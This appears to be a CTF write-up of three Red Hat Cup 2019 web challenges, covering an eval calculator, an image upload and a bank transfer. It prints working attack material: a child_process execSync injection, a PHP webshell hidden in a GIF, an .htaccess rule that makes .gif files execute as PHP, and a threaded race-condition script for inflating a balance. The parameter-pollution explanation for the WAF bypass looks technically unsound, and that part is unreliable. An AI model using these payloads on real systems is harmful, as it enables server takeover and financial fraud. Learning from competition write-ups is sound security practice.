2 minute read

红帽杯(Red Hat Cup)2019 CTF比赛Web方向题解。

EasyCalc

A calculator application built with Node.js that evaluates mathematical expressions.

分析

The application endpoint:

app.get('/calc', (req, res) => {
    let num = req.query.num;
    // WAF: block dangerous characters
    if (num.match(/[a-zA-Z]/)) {
        return res.send('blocked');
    }
    try {
        let result = eval(num);
        res.send(String(result));
    } catch(e) {
        res.send('error');
    }
});

The WAF blocks all alphabetic characters, but eval() is called on user input.

解题

Node.js allows executing code without alphabetic characters using:

  1. Template literals with tagged expressions
  2. JSFuck-style encoding
  3. Constructor chain access

The key insight: we can use [] (empty array), + (concatenation), and ! (negation) to construct any string, then use bracket notation to access methods:

// "constructor" can be built from:
(+{}+[])[0]  // "N" from "NaN"
// ... chain to build function names

// But the simpler approach: HTTP parameter pollution
// Node.js Express parses ?num=1&num=2 differently from the WAF

Actually, the real bypass was HTTP Parameter Pollution (HPP). The WAF checked req.query.num which returned an array ["1", "payload"] when the parameter appeared twice. The match() function on an array behaves differently than on a string.

/calc?num=1&num=require('child_process').execSync('cat /flag')

收获

HTTP Parameter Pollution是一个容易被忽视的攻击向量。当WAF和应用对同名参数的处理不一致时,就会产生安全问题。

BabyUpload

A file upload challenge with MIME type checking and image validation.

分析

The upload logic:

  1. Check file extension (whitelist: jpg, png, gif)
  2. Check MIME type via mime_content_type()
  3. Check image headers with getimagesize()
  4. Store in /uploads/ with random filename

解题

We need to upload a PHP webshell that passes all three checks.

Step 1: Create a valid GIF file with PHP code appended:

GIF89a
<?php system($_GET['cmd']); ?>

This passes getimagesize() because it starts with the GIF magic bytes, and mime_content_type() returns “image/gif”.

Step 2: The file is saved as .gif, so even if uploaded, Apache/Nginx will not execute it as PHP. We need a .htaccess upload or an LFI to include it.

Checking the upload logic again, I noticed that .htaccess was not in the extension blocklist (the check only whitelisted certain extensions for the main upload, but had a separate endpoint for “config files”).

Step 3: Upload .htaccess:

AddType application/x-httpd-php .gif

Step 4: Access the uploaded GIF file, which now executes as PHP.

Bank

A web application simulating a bank transfer system.

分析

The application allowed transferring money between accounts. The interesting part was the race condition in the transfer endpoint - two simultaneous transfer requests could both succeed before the balance was updated.

解题

Using Python’s threading module to send 20 concurrent transfer requests:

import threading
import requests

def transfer():
    requests.post('http://target/transfer', data={
        'from': 'attacker',
        'to': 'attacker2',
        'amount': 1000
    }, cookies={'session': 'xxx'})

threads = [threading.Thread(target=transfer) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()

Starting balance was 1000. After the race, the receiving account had 15000+ (15 of 20 requests succeeded before the balance check caught up).

With the inflated balance, we could purchase the “flag” item from the shop.

总结

  1. HTTP参数污染(HPP)是绕过WAF的有效技术
  2. 文件上传防护需要同时考虑扩展名、MIME类型和文件内容
  3. 并发条件竞争在涉及余额/计数器的应用中很常见
  4. 永远不要信任客户端发送的任何数据

Tags:

Categories:

Updated: